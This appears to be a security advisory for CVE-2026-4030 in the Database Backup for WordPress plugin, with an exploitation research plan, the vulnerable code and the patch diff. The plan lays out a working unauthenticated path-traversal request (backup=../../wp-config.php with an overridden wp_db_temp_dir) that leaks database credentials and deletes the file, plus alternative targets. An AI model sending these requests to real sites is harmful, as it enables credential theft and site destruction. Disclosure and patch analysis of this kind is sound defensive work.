Database Backup for WordPress <= 2.5.2 - Missing Authorization to Unauthenticated Arbitrary File Read and Deletion
Description
The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized arbitrary file read and deletion in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check combined with a user-controlled backup directory parameter. This makes it possible for unauthenticated attackers to read and delete arbitrary files on the server, leading to Sensitive Information Exposure and potential site takeover. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
What Changed in the Fix
Changes introduced in v2.5.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-4030 ## 1. Vulnerability Summary The **Database Backup for WordPress** plugin (<= 2.5.2) contains a critical missing authorization vulnerability combined with a path traversal/arbitrary file access flaw. The plugin provides a mechanism to download or email ba…
Show full research plan
Exploitation Research Plan - CVE-2026-4030
1. Vulnerability Summary
The Database Backup for WordPress plugin (<= 2.5.2) contains a critical missing authorization vulnerability combined with a path traversal/arbitrary file access flaw. The plugin provides a mechanism to download or email backup files via the init() function. However, the authorization check function can_user_backup() is called but its return value is not enforced (it doesn't die() on failure).
In WordPress Multisite environments where the deprecated is_site_admin() function exists, this check fails to stop execution for unauthenticated users. Furthermore, the plugin allows the backup directory to be overridden via the wp_db_temp_dir GET parameter. This combination allows an unauthenticated attacker to read and subsequently delete arbitrary files on the server that the web server has permissions to access and write to.
2. Attack Vector Analysis
- Endpoint: The site root
index.php(triggering theinithook). - Vulnerable Action: The
init()method of thewpdbBackupclass, which is hooked to WordPressinit. - Parameters:
backup: (GET) The name of the file to read/delete.wp_db_temp_dir: (GET) The directory path where the file is located.via: (GET) Delivery method (defaults tohttpfor direct download).
- Preconditions:
- WordPress Multisite environment.
- Presence of the
is_site_admin()function. - The targeted directory (
wp_db_temp_dir) must be writable by the PHP process (as per theis_writeable()check in__construct).
3. Code Flow
- Initialization: In
wpdbBackup::__construct(), the plugin checks for thebackupGET parameter:} elseif ( isset( $_GET['backup'] ) ) { $this->can_user_backup(); // Authorization check called but result ignored add_action( 'init', array( &$this, 'init' ) ); } - Directory Override: Also in
__construct(), the backup directory can be set by the user:if ( isset( $_GET['wp_db_temp_dir'] ) ) { $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] ); if ( is_writeable( $requested_dir ) ) { $tmp_dir = $requested_dir; } } $this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) ); - Vulnerable Execution: The
init()method is triggered:function init() { $this->can_user_backup(); // Result ignored again if ( isset( $_GET['backup'] ) ) { $via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http'; $this->backup_file = sanitize_text_field( $_GET['backup'] ); $this->validate_file( $this->backup_file ); // Likely checks existence in backup_dir switch ( $via ) { // ... (email cases) default: $success = $this->deliver_backup( $this->backup_file, $via ); } exit; } } - File Read & Delete:
deliver_backup()(inferred) sends the file to the browser and thenunlinksit from$this->backup_dir . $this->backup_file.
4. Nonce Acquisition Strategy
This specific vulnerability exploit path (via GET['backup']) does not require a nonce.
- The
__constructlogic only requirescheck_admin_referer(nonce check) if$_POST['do_backup']is set. - The
$_GET['backup']path only callscan_user_backup(), which is the faulty authorization check. - Therefore, no nonce acquisition is necessary for unauthenticated exploitation.
5. Exploitation Strategy
Goal: Read and Delete wp-config.php
Note: This is highly destructive as it will delete the configuration file.
Step 1: Identify a Writable Directory
The wp_db_temp_dir must be writable. Common candidates in WordPress are:
/var/www/html/wp-content/uploads(usually writable)/tmp
Step 2: Path Traversal Attack
Since we need to target wp-config.php (usually in the web root), and wp_db_temp_dir must be writable, we can point wp_db_temp_dir to the uploads directory and use path traversal in the backup parameter to reach wp-config.php.
Request Details:
- Method:
GET - URL:
http://localhost:8080/ - Query Parameters:
backup=../../wp-config.phpwp_db_temp_dir=/var/www/html/wp-content/uploads/
Execution with http_request:
await http_request({
method: "GET",
url: "http://localhost:8080/",
params: {
backup: "../../wp-config.php",
wp_db_temp_dir: "/var/www/html/wp-content/uploads/"
}
});
6. Test Data Setup
- Multisite Setup: Ensure WordPress is configured for Multisite.
- Permissions: Ensure
/var/www/html/wp-content/uploads/is writable by thewww-datauser. - Mock Function (if testing on modern WP): If testing on a version of WP where
is_site_admin()is completely gone, it may need to be defined in a mu-plugin to simulate the vulnerable environment:// /wp-content/mu-plugins/mock-admin.php function is_site_admin() { return false; }
7. Expected Results
- HTTP Response: The content of
wp-config.phpshould be returned in the response body. - Content-Disposition: Headers likely include
attachment; filename="wp-config.php". - Filesystem Change: The file
/var/www/html/wp-config.phpwill be deleted immediately after the request completes.
8. Verification Steps
- Check Response Body: Verify the response contains the string
DB_NAMEorDB_PASSWORD. - Check Filesystem via WP-CLI:
# This should fail if the file was successfully deleted ls /var/www/html/wp-config.php - Verify Site Failure: Attempting to load the WordPress site after exploitation should result in the WordPress "Welcome" installation screen, as
wp-config.phpis missing.
9. Alternative Approaches
If direct path traversal in the backup parameter is blocked by sanitize_text_field, try pointing wp_db_temp_dir directly to the directory containing sensitive files that are likely writable, such as:
- Targeting a specific log file in
wp-content/:?backup=debug.log&wp_db_temp_dir=/var/www/html/wp-content/ - Targeting a backup file created by the plugin itself in its default directory:
?backup=database_name_wp_2023.sql&wp_db_temp_dir=/var/www/html/wp-content/backup-xyz/(if the directory is known or predictable).
Summary
The Database Backup for WordPress plugin allows unauthenticated users to read and delete arbitrary files on a server due to a failure in enforcing authorization checks and a user-controllable backup directory parameter. Attackers can exploit this via path traversal to download sensitive files like wp-config.php, which are then automatically deleted from the server by the plugin after the download completes.
Vulnerable Code
// wp-db-backup.php @ lines 138-144 if ( isset( $_GET['wp_db_temp_dir'] ) ) { $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] ); if ( is_writeable( $requested_dir ) ) { $tmp_dir = $requested_dir; } } --- // wp-db-backup.php @ lines 162-165 } elseif ( isset( $_GET['backup'] ) ) { $this->can_user_backup(); add_action( 'init', array( &$this, 'init' ) ); } else { --- // wp-db-backup.php @ lines 168-170 function init() { $this->can_user_backup(); if ( isset( $_GET['backup'] ) ) {
Security Fix
@@ -138,12 +138,6 @@ $tmp_dir = get_temp_dir(); - if ( isset( $_GET['wp_db_temp_dir'] ) ) { - $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] ); - if ( is_writeable( $requested_dir ) ) { - $tmp_dir = $requested_dir; - } - } $this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) ); $this->basename = 'wp-db-backup'; @@ -160,10 +154,12 @@ } } elseif ( isset( $_GET['fragment'] ) ) { - $this->can_user_backup( 'frame' ); - add_action( 'init', array( &$this, 'init' ) ); + if ( $this->can_user_backup( 'frame' ) ) { + add_action( 'init', array( &$this, 'init' ) ); + } } elseif ( isset( $_GET['backup'] ) ) { - $this->can_user_backup(); - add_action( 'init', array( &$this, 'init' ) ); + if ( $this->can_user_backup() ) { + add_action( 'init', array( &$this, 'init' ) ); + } } else { add_action( 'admin_menu', array( &$this, 'admin_menu' ) ); } @@ -168,7 +164,9 @@ function init() { - $this->can_user_backup(); + if ( ! $this->can_user_backup() ) { + return; + } if ( isset( $_GET['backup'] ) ) { $via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';
Exploit Outline
The exploit targets the WordPress `init` hook by sending a GET request to the site root with specific parameters. An attacker sets the `wp_db_temp_dir` parameter to a writable directory on the server (e.g., the WordPress uploads directory) and provides a path-traversal string in the `backup` parameter to target sensitive files (e.g., `../../wp-config.php`). Because the plugin fails to terminate execution when the `can_user_backup()` authorization check fails, and ignores nonce requirements for the GET-based backup retrieval path, the attacker can download the targeted file. After delivery, the plugin's `deliver_backup` logic deletes the file using `unlink()`, potentially disabling the site or removing audit logs. This exploit is effective in Multisite environments where legacy authorization functions exist.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.